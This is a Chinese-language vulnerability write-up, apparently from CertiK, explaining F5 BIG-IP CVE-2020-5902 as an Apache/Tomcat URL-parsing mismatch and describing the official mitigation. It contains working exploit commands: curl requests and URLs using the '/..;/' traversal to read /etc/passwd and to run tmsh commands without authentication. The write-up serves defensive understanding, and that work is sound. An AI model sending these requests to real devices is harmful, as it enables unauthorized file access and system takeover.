F5 BIG-IP遠端程式碼執行漏洞深度解析

買賣虛擬貨幣

前言

今日一早,推特以及各大技術論壇上炸開了鍋,安全圈子的人都在討論F5裝置裡遠端程式碼執行的漏洞。很多討論的內容,大部分是在分享如何尋找目標,利用漏洞,並沒有關於對漏洞成因的分析。CertiK的安全研究員下載了存在漏洞的程式,搭建環境復現漏洞後,對漏洞的起因進行了分析,並在下文分享給大家。

背景

F5 BIG-IP 是美國 F5 公司的一款整合了網路流量管理、應用程式安全管理、負載均衡等功能的應用交付平臺。Positive Technologies的研究人員Mikhail Klyuchnikov 發現其配置工具Traffic Management User Interface(TMUI)中存在遠端程式碼執行漏洞,CVE編號為CVE-2020-5902。該漏洞CVSSv3評分為10分,攻擊者可利用該漏洞建立或刪除檔案,關閉服務、執行任意的系統命令,最終獲得伺服器的完全控制權。CVE具體表述請檢視文章底部參考連結1。

受影響的BIG-IP軟體版本

15.0.0-15.1.0.3

14.1.0-14.1.2.5

13.1.0-13.1.3.3

12.1.0-12.1.5.1

11.6.1-11.6.5.1

漏洞利用

讀取任意檔案:

curl -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

遠端執行tmsh命令:

curl -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

官方給出的臨時修復方案(後文會對修復進行分析)

漏洞復現

在F5的官網註冊賬號之後,可以從F5的資源庫中下載存在漏洞的BIG-IP軟體。訪問參考連結2可以下載BIG-IP TMOS(Traffic Management Operating System, 流量管理作業系統)的虛擬機器映象。CertiK技術人員因為使用Vmware Fusion, 下載的是“BIGIP-15.0.0-0.0.39.ALL_1SLOT-vmware.ova-Image fileset for VMware ESX/i Server”。

在Vmware Fusion中載入映象(import):

載入完成之後,使用預設使用者名稱密碼登陸系統:

使用者名稱: root

密碼: default

系統初始化之後,使用”ifconfig”命令查詢虛擬機器IP地址. CertiK團隊的BIG-IP TMUI虛擬機器IP地址為”172.16.4.137”

在瀏覽器中訪問BIG-IP TMUI登陸介面:

https://172.16.4.137/tmui/login.jsp

復現任意檔案讀取:

在瀏覽器中訪問以下地址可以讀取”/etc/passwd”檔案內容:

https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

復現tmsh命令執行:

https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

漏洞分析

在進入漏洞分析前,先要明確一點:漏洞利用中的fileRead.jsp和tmshCmd.jsp檔案在使用者登陸後本身就是可以被訪問的。

下面的動圖顯示了登陸前和登陸後訪問以下URL的區別:

https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

登陸前訪問會被跳轉回登陸介面:

fileRead.jsp和tmshCmd.jsp雖然是在PoC中最終被利用的檔案,但是他們並不是漏洞的起因。此漏洞的本質是利用Apache和後臺Java(tomcat)對URL的解析方式不同來繞過登陸限制, 在未授權的情況下,訪問後臺JSP模組。CertiK技術人員第一次注意到此型別漏洞是在2018年Orange的BlackHat演講: “Breaking Parser Logic Take Your Path Normalization Off and Pop 0Days Out”. 這裡可以檢視演講稿件(參考連結2)。

這裡我們可以理解在F5 BIG-IP的後臺伺服器對收到了URL請求進行了兩次的解析,第一次是httpd(Apache), 第二次是後一層的Java(tomcat)。

在URL在第一次被Apache解析時,Apache關注的是URL的前半段

https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

當Apache在看見前半段是合法URL且是允許被訪問的頁面時,就把它交給了後面的第二層。Apache在這裡完全把URL裡面關鍵的/..;/給無視了。

在URL在第二次被解析時,後面的Java(tomcat)會把/..;/理解為,向上返回一層路徑。此時, /login.jsp/ 和 /..;/會抵消掉。Tomcat看到的真正請求從

https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

變成了:

https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

再來fileRead.jsp並沒有對收到的請求進行身份驗證,後臺因此直接執行fileRead.jsp, 讀取並返回了/etc/passwd檔案的內容。

根據以上的思路,其實可以找出別的利用漏洞的URL, 比如:

https://172.16.4.137/tmui/tmui/login/legal.html/..;/..;/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

“https://172.16.4.137/tmui/tmui/login/legal.html”和之前的“login.jsp”一樣,是一個不需要登陸就能訪問的頁面。但是因為要向上返回兩次,需要用兩個/..;/來抵消掉 ”/login/legal.html”。

回到開頭提到的官方給出的臨時修復方案, 修復方案的本質是在httpd的配置中新增以下規則:

include '

<LocationMatch ".*\.\.;.*">

Redirect 404 /

</LocationMatch>

'

這個規則的意思是,當http伺服器在監測到URL中包含..;(句號句號分號)的時候,直接返回404。這樣利用漏洞的請求就沒辦法到達後臺(第二層)了。

如何避免漏洞

此漏洞的利用方式在網路上公開之後,因為它的攻擊成本低廉,大批駭客都開始圖謀利用此漏洞攻擊使用F5 BIG-IP產品的系統。駭客只需要付出極小的代價就能獲得目標系統的控制權,對系統產生巨大的破壞。

俗話說:“不怕賊偷,就怕賊惦記”。即便這樣的駭客攻擊事件這次沒有發生在你身上,不代表你是安全的。因為很有可能駭客的下一個目標就是你。

而Certik的專業技術團隊會幫你徹底打消這種“賊惦記”的擔憂。CertiK專業滲透測試團隊會透過對此類事件的監測,第一時間給客戶提交漏洞預警報告,幫助客戶瞭解漏洞細節以及防護措施。此舉可以確保客戶的系統不受攻擊並且不會遭受財產損失。

同時作為一名安全技術人員,在新漏洞被發現的時,不僅需要知道漏洞是如何被駭客利用的,更要去探尋漏洞背後的原因,方可積累經驗,更加有能力在複雜的系統中發現隱藏的漏洞。

CertiK以及其技術人員,將永遠把安全當做信仰,與大家一同學習並一同成長。

參考連結:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5902

https://downloads.f5.com/esd/ecc.sv?sw=BIG-IP&pro=big-ip_v15.x&ver=15.0.0&container=Virtual-Edition

https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

免責聲明:

  1. 本文版權歸原作者所有,僅代表作者本人觀點,不代表鏈報觀點或立場。
  2. 如發現文章、圖片等侵權行爲,侵權責任將由作者本人承擔。
  3. 鏈報僅提供相關項目信息,不構成任何投資建議

推荐阅读

;